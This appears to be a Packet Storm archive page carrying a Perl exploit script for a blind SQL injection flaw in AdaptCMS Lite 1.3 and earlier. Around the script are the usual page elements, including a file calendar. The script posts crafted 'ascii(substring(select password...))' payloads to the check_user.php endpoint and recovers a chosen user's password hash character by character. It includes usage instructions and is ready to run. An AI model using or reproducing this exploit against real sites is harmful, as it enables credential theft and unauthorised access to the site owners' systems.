what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

adaptcms-blindsql.txt

adaptcms-blindsql.txt
Posted Oct 3, 2008
Authored by StAkeR

AdaptCMS Lite versions 1.3 and below blind SQL injection exploit.

tags | exploit, sql injection
SHA-256 | 0796714b58425cf943ab227267fe960898b56e60e0555e8a7a2cdb6fecb7ae96

adaptcms-blindsql.txt

Change Mirror Download
#!/usr/bin/perl
# -----------------------------------------------------
# AdaptCMS Lite <= 1.3 Blind SQL Injection Exploit
# Discovered By StAkeR - StAkeR[at]hotmail[dot]it
# Discovered On 03/10/2008
# -----------------------------------------------------
# Download http://www.insanevisions.com/page/downloads
# -----------------------------------------------------
use strict;
use LWP::UserAgent;

my ($hash,$send,$sub) = (undef,undef,1);
my ($host,$uid) = @ARGV;

usage() unless $host =~ /^http:\/\/(.+?)$/i and $uid =~ /^[0-9]$/;

sub send_request
{
my $param = shift @_;
my $http = new LWP::UserAgent;
my $post = $http->post($host.'/includes/check_user.php',[ user_name => $param ]);

if($post->is_success)
{
return 38 unless $post->content =~ /yes/i;
}
}

my @chars = (48..57, 97..102);

for(0..32)
{
foreach my $set(@chars)
{
$send = "' or ascii(substring((select password".
" from adaptcms_users where id=$uid),$sub,1))=$set#";

if(send_request($send) > 1)
{
$hash .= chr($set);
$sub++;
last;
}
}
}

sub usage
{
print "[?] AdaptCMS Lite <= 1.3 Blind SQL Injection Exploit\n";
print "[?] Usage: perl $0 http://[host] [user id]\n";
exit;
}

if(defined $hash)
{
print "[?] Hash: $hash\n";
exit;
}
else
{
print "[?] Exploit Failed!\n";
exit;
}

Login or Register to add favorites

File Archive:

March 2023

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Mar 1st
    16 Files
  • 2
    Mar 2nd
    13 Files
  • 3
    Mar 3rd
    15 Files
  • 4
    Mar 4th
    0 Files
  • 5
    Mar 5th
    0 Files
  • 6
    Mar 6th
    16 Files
  • 7
    Mar 7th
    31 Files
  • 8
    Mar 8th
    16 Files
  • 9
    Mar 9th
    13 Files
  • 10
    Mar 10th
    9 Files
  • 11
    Mar 11th
    0 Files
  • 12
    Mar 12th
    0 Files
  • 13
    Mar 13th
    10 Files
  • 14
    Mar 14th
    6 Files
  • 15
    Mar 15th
    17 Files
  • 16
    Mar 16th
    22 Files
  • 17
    Mar 17th
    13 Files
  • 18
    Mar 18th
    0 Files
  • 19
    Mar 19th
    0 Files
  • 20
    Mar 20th
    16 Files
  • 21
    Mar 21st
    13 Files
  • 22
    Mar 22nd
    5 Files
  • 23
    Mar 23rd
    6 Files
  • 24
    Mar 24th
    47 Files
  • 25
    Mar 25th
    0 Files
  • 26
    Mar 26th
    0 Files
  • 27
    Mar 27th
    50 Files
  • 28
    Mar 28th
    42 Files
  • 29
    Mar 29th
    7 Files
  • 30
    Mar 30th
    0 Files
  • 31
    Mar 31st
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close